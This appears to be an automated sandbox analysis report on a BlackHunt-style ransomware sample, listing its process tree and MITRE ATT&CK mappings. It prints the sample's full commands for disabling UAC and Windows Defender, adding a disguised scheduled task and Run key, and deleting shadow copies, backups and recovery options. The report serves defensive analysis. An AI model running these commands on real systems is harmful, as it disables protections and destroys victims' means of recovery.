PID 4936 wrote to memory of 3344	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	145
PID 4936 wrote to memory of 1848	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	143
PID 4936 wrote to memory of 1848	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
"C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:6536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:6568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:6816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:6708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:6676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:6684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:6772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:6344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:6692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:6556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:6828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:6728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:7072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:6892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:7036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:6848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe" /F
  2⤵
  PID:1568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:7104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4800
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2520
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1220
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4660
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:680
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4952
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3844
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3492
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1816
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2012
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5540

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5840

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1552

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:6188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery